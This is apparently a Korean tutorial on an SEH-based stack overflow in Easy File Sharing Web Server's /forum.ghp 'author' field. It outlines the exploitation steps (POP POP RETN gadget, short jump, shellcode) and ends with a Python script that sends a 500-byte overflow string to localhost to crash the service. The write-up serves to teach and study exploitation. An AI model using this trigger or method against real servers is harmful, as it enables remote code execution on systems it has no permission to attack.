⚠️ 취약점 정보

Easy File Sharing Web Server는 사용자가 새 포럼 주제를 생성할 때 /forum.ghp로 향하는 HTTP POST 요청을 처리합니다. 허용되는 매개변수 중 하나는 author이며, 이 값은 길이 검사 없이 로컬 스택 버퍼로 복사됩니다.

바이너리를 리버스할 때 이 양식 필드의 핸들러가 고정 크기 버퍼와 안전하지 않은 복사 작업을 사용함을 관찰할 수 있습니다. 취약한 로직의 단순화된 버전은 다음과 같습니다:

char author_buffer[64];

strcpy(author_buffer, user_input);

대상 버퍼가 고정 크기이고 입력 길이가 검증되지 않으므로, author 필드에 충분히 긴 문자열을 보내면 복사가 버퍼 끝을 넘어 쓰게 됩니다.

더 많은 데이터가 기록됨에 따라 스택 레이아웃이 손상됩니다. 단순한 반환 주소 덮어쓰기와 달리 오버플로우는 스택에 저장된 구조적 예외 처리기(SEH) 체인에 도달합니다. 손상된 스택의 결과로 예외가 발생하면 OS는 SEH 체인을 탐색하여 공격자가 제어하는 핸들러 주소로 제어를 전달합니다.

따라서 익스플로잇 흐름은 SEH 덮어쓰기 기법을 따릅니다:

1. 긴 입력이 스택을 덮어쓰며 nSEH 및 SEH 핸들러 포인터를 포함합니다.
2. 메모리 손상으로 인해 예외가 발생합니다.
3. OS가 덮어쓰여진 핸들러 주소를 호출합니다.
4. POP POP RETN 가젯을 사용하여 nSEH 영역으로 실행을 전달합니다.
5. 짧은 점프가 SEH 레코드를 건너뛰고 셸코드 영역으로 실행을 리디렉션합니다.
6. 셸코드가 실행됩니다.

이로 인해 이 취약점은 기본적인 EIP 덮어쓰기보다 익스플로잇하기 더 복잡하지만, 실제 세계 시나리오를 더 잘 대표합니다.

import socket

HOST = '127.0.0.1'
PORT = 80

payload = b"A" * 500

request = (
	b"POST /forum.ghp?forumid=1 HTTP/1.1\r\n"
	b"Host: 127.0.0.1\r\n"
	b"Content-Type: application/x-www-form-urlencoded\r\n"
	b"Cookie: UserID=test; PassWD=test; SESSIONID=1234\r\n"
	b"Connection: close\r\n"
	b"\r\n"
	b"author=" + payload + b"&passwd=test&title=test&content=test&Submit=Submit\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()